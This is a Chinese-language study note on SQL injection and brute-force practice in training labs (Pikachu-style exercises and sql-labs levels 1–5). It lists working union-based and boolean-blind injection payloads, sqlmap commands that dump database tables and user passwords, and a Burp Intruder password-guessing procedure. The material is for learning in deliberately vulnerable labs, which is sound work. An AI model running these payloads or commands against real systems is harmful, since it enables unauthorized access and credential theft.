Burp suit

字符型注入(GET)

抓包获取查询发送给重发器

判断闭合条件

查询vince’(单引号)报错 查询vince”(双引号)没有报错可知使用‘单引号闭合

把vince’ and 1=1–+ and 1=1 返回正常,and 1=2 查询不到用户

查询字段数

order by 2–+ 查字段是否为2时,没有报错,查字段数是否为3时,报错。字段数为2

查询回显位

union select 1,2–+ 显示结果 说明字段1和2都是回显位

暴力破解

简单的暴力破解

直接抓包,发送给 intruder

选择password 在有效荷载(简单列表)出添加猜测的密码(至少有一个正确的)点击开始攻击

sql-labs/Less-?

sql注入通关

打开Kali 进入管理员界面

sqlmap -u "http://" --batch --dbs
sqlmap -u "http://" --batch -D "security" --tables
sqlmap -u "http://" --batch -D "security" -T "users" --columns
sqlmap -u "http://" --batch -D "security" -T "users" -C "id,password" --dump(!!!不要对没授权的进行dump)
order by 4 --+
判断有多少列
union select 1,2,3 -- -
判断数据显示点
union select 1,user(),database() --+
显示出登录用户和数据库名
union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security' ),3 -- -
查看数据库有哪些表
union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users' ),3 -- -
查看对应表有哪些列
union select 1,(select group_concat(concat_ws(0x7e,username,password))from users),3 --+

闯关

前4关使用 Union

第5关

Boolean 注入攻击

length(database())>=1,判断当前数据库长度是否>=1,正确输出1,错误输出0
substr(database(),1,1)='s',判断当前数据库的第一个字母是否为s,正确输出1,错误输出0,substr的作用是截取长度(可以使用Burp suit 进行枚举查询)
ord(substr(database(),1,1))=115,转ASCII码判断,正确输出1,错误输出0
substr((select table_name from information_schema.tables where table_schema='A' limit 0,1),1,1)='e',判断A库下面第一张表的第一个字母是否为e,正确输出1,错误输出0
substr((select column_name from information_schema.tables where table_name='B' limit 0,1),1,1)='e',判断B表下面的第一个字段的第一个字母是否为e,正确输出1,错误输出0
substr((select C from A.B limit 0,1),1,1)='e',判断C字段下面的第一个值的第一个字母是否为e,正确输出1,错误输出0

sql注入的难点在于分析闭合问题

?id=1’
?id=1”
1:如果都报错
判断闭合符为:数字闭合(不需要闭合)。

2:如果单引号报错,双引号不报错。

?id=1’ )
1:无报错
判断闭合符为:单引号闭合。
2:报错
判断闭合符可能为:单引号加括号。

?id=1” )
结果1:结果无报错
判断闭合符为:双引号闭合。
结果2:报错
判断闭合符可能为:双引号加括号。